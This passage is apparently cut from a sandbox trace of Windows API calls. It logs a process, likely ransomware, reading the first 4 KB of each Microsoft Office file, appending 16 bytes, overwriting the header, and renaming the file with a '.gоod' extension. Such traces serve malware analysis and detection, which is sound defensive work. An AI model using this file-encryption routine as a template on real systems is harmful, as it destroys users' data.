lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.070] GetFileType (hFile=0x63c) returned 0x1 [0164.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.070] GetFileType (hFile=0x63c) returned 0x1 [0164.070] ReadFile (in: hFile=0x63c, lpBuffer=0x3503088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3503088*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0164.178] CloseHandle (hObject=0x63c) returned 1 [0164.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0164.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.178] GetFileType (hFile=0x63c) returned 0x1 [0164.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.178] GetFileType (hFile=0x63c) returned 0x1 [0164.178] WriteFile (in: hFile=0x63c, lpBuffer=0x33330c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33330c8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0164.178] CloseHandle (hObject=0x63c) returned 1 [0164.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0164.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE.gоod", lpFilePart=0x0) returned 0x41 [0164.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0164.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5e112ec0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa46a0)) returned 1 [0164.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0164.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe.gоod")) returned 1 [0164.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0164.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), fInfoLevelId=0x0, lpFileInformation=0x3418098 | out: lpFileInformation=0x3418098*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x174f451, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32ad8)) returned 1 [0164.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0164.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.181] GetFileType (hFile=0x63c) returned 0x1 [0164.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.181] GetFileType (hFile=0x63c) returned 0x1 [0164.181] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0164.181] ReadFile (in: hFile=0x63c, lpBuffer=0x3418470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3418470*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0164.182] CloseHandle (hObject=0x63c) returned 1 [0164.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.182] GetFileType (hFile=0x63c) returned 0x1 [0164.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.182] GetFileType (hFile=0x63c) returned 0x1 [0164.182] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x32ad8 [0164.183] WriteFile (in: hFile=0x63c, lpBuffer=0x34196e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34196e8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0164.183] CloseHandle (hObject=0x63c) returned 1 [0164.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.184] GetFileType (hFile=0x63c) returned 0x1 [0164.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.184] GetFileType (hFile=0x63c) returned 0x1 [0164.184] ReadFile (in: hFile=0x63c, lpBuffer=0x341b988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x341b988*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0164.651] CloseHandle (hObject=0x63c) returned 1 [0164.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.652] GetFileType (hFile=0x63c) returned 0x1 [0164.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.652] GetFileType (hFile=0x63c) returned 0x1 [0164.652] WriteFile (in: hFile=0x63c, lpBuffer=0x333b080*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x333b080*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0164.652] CloseHandle (hObject=0x63c) returned 1 [0164.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE", lpFilePart=0x0) returned 0x3a [0164.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE.gоod", lpFilePart=0x0) returned 0x3f [0164.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0164.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5e5b17f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32ae8)) returned 1 [0164.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0164.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgwiz.exe.gоod")) returned 1 [0164.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0164.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0164.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), fInfoLevelId=0x0, lpFileInformation=0x35113c8 | out: lpFileInformation=0x35113c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380000)) returned 1 [0164.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0164.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0164.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.656] GetFileType (hFile=0x63c) returned 0x1 [0164.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.656] GetFileType (hFile=0x63c) returned 0x1 [0164.656] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0164.656] ReadFile (in: hFile=0x63c, lpBuffer=0x35117c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35117c0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0164.658] CloseHandle (hObject=0x63c) returned 1 [0164.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0164.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.658] GetFileType (hFile=0x63c) returned 0x1 [0164.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.658] GetFileType (hFile=0x63c) returned 0x1 [0164.658] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x380000 [0164.658] WriteFile (in: hFile=0x63c, lpBuffer=0x3512a48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3512a48*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0164.659] CloseHandle (hObject=0x63c) returned 1 [0164.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0164.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.659] GetFileType (hFile=0x63c) returned 0x1 [0164.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.659] GetFileType (hFile=0x63c) returned 0x1 [0164.660] ReadFile (in: hFile=0x63c, lpBuffer=0x3514cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3514cf8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0165.214] CloseHandle (hObject=0x63c) returned 1 [0165.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0165.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.215] GetFileType (hFile=0x63c) returned 0x1 [0165.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0165.215] GetFileType (hFile=0x63c) returned 0x1 [0165.215] WriteFile (in: hFile=0x63c, lpBuffer=0x33741a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33741a0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0165.246] CloseHandle (hObject=0x63c) returned 1 [0165.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT", lpFilePart=0x0) returned 0x3c [0165.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT.gоod", lpFilePart=0x0) returned 0x41 [0165.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0165.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5eb5b18d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380010)) returned 1 [0165.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0165.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat.gоod")) returned 1 [0165.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0165.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), fInfoLevelId=0x0, lpFileInformation=0x358c328 | out: lpFileInformation=0x358c328*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212b448)) returned 1 [0165.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0165.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0165.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.250] GetFileType (hFile=0x63c) returned 0x1 [0165.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0165.250] GetFileType (hFile=0x63c) returned 0x1 [0165.250] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0165.250] ReadFile (in: hFile=0x63c, lpBuffer=0x358c700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x358c700*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0165.252] CloseHandle (hObject=0x63c) returned 1 [0165.252] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0165.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.252] GetFileType (hFile=0x63c) returned 0x1 [0165.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0165.252] GetFileType (hFile=0x63c) returned 0x1 [0165.252] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x212b448 [0165.252] WriteFile (in: hFile=0x63c, lpBuffer=0x358d978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x358d978*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0165.254] CloseHandle (hObject=0x63c) returned 1 [0165.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0165.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.254] GetFileType (hFile=0x63c) returned 0x1 [0165.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0165.254] GetFileType (hFile=0x63c) returned 0x1 [0165.254] ReadFile (in: hFile=0x63c, lpBuffer=0x358fd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x358fd08*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0165.282] CloseHandle (hObject=0x63c) returned 1 [0165.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0165.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.282] GetFileType (hFile=0x63c) returned 0x1 [0165.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0165.282] GetFileType (hFile=0x63c) returned 0x1 [0165.283] WriteFile (in: hFile=0x63c, lpBuffer=0x358ea80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x358ea80*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0165.283] CloseHandle (hObject=0x63c) returned 1 [0165.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 